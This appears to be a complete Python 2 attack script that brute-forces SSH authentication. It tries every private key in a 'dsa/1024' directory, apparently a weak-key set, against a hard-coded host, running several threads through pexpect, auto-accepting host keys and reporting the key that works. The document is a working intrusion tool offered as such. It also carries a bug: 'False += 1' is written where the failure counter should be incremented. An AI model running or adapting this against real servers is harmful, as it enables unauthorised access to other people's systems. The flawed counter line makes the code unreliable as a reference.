#!/usr/bin/python

import pexpect
import os
from threading import *

maxConnections = 10
connection_lock = BoundedSemaphore(value = maxConnections)
Stop = False
Fails = 0

def connect(user, host, keyfile, release):
	global Stop
	global Fails

	try:
		perm_denied = 'Permission denied'
		ssh_newkey = 'Are you sure you want to continue'
		conn_closed = 'Connection closed by remote host'

		opt = ' -o PasswordAuthentication=no'

		connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
#		print connStr
		child = pexpect.spawn(connStr)

		ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ])
		
		if ret == 2:
			print '[-] Adding host to ~/.ssh/known_hosts'
			child.sendline('yes')
			connect(user, host, keyfile, False)

		elif ret == 3:
			print '[-] Connection Closed by Remote Host'
			False += 1

		elif ret > 3:
			print '[+] Success. ' + str(keyfile)
			print child.before
			Stop = True

	finally:
		if release: connection_lock.release()

def main():
	host = '192.168.138.133'
	user = 'blah'
	passDir = 'dsa/1024'
	# returns a list of the names of entries in the directory given
#	print os.listdir(passDir)
	for filename in os.listdir(passDir):
		if Stop:
			print '[*] Exiting: Key Found.'
			exit(0)
		if Fails > 5:
			print '[!] Exiting: Too Many Connections Closed By Remote Host.'
			print '[!] Adjust number of simultaneous threads.'
			exit(0)

		connection_lock.acquire()
		fullpath = os.path.join(passDir, filename)

		print '[-] Testing keyfile ' + str(fullpath)
#		connect(user, host, fullpath, True)
		t = Thread(target = connect, args = (user, host, fullpath, True))
		child = t.start()

if __name__ == '__main__':
	main()
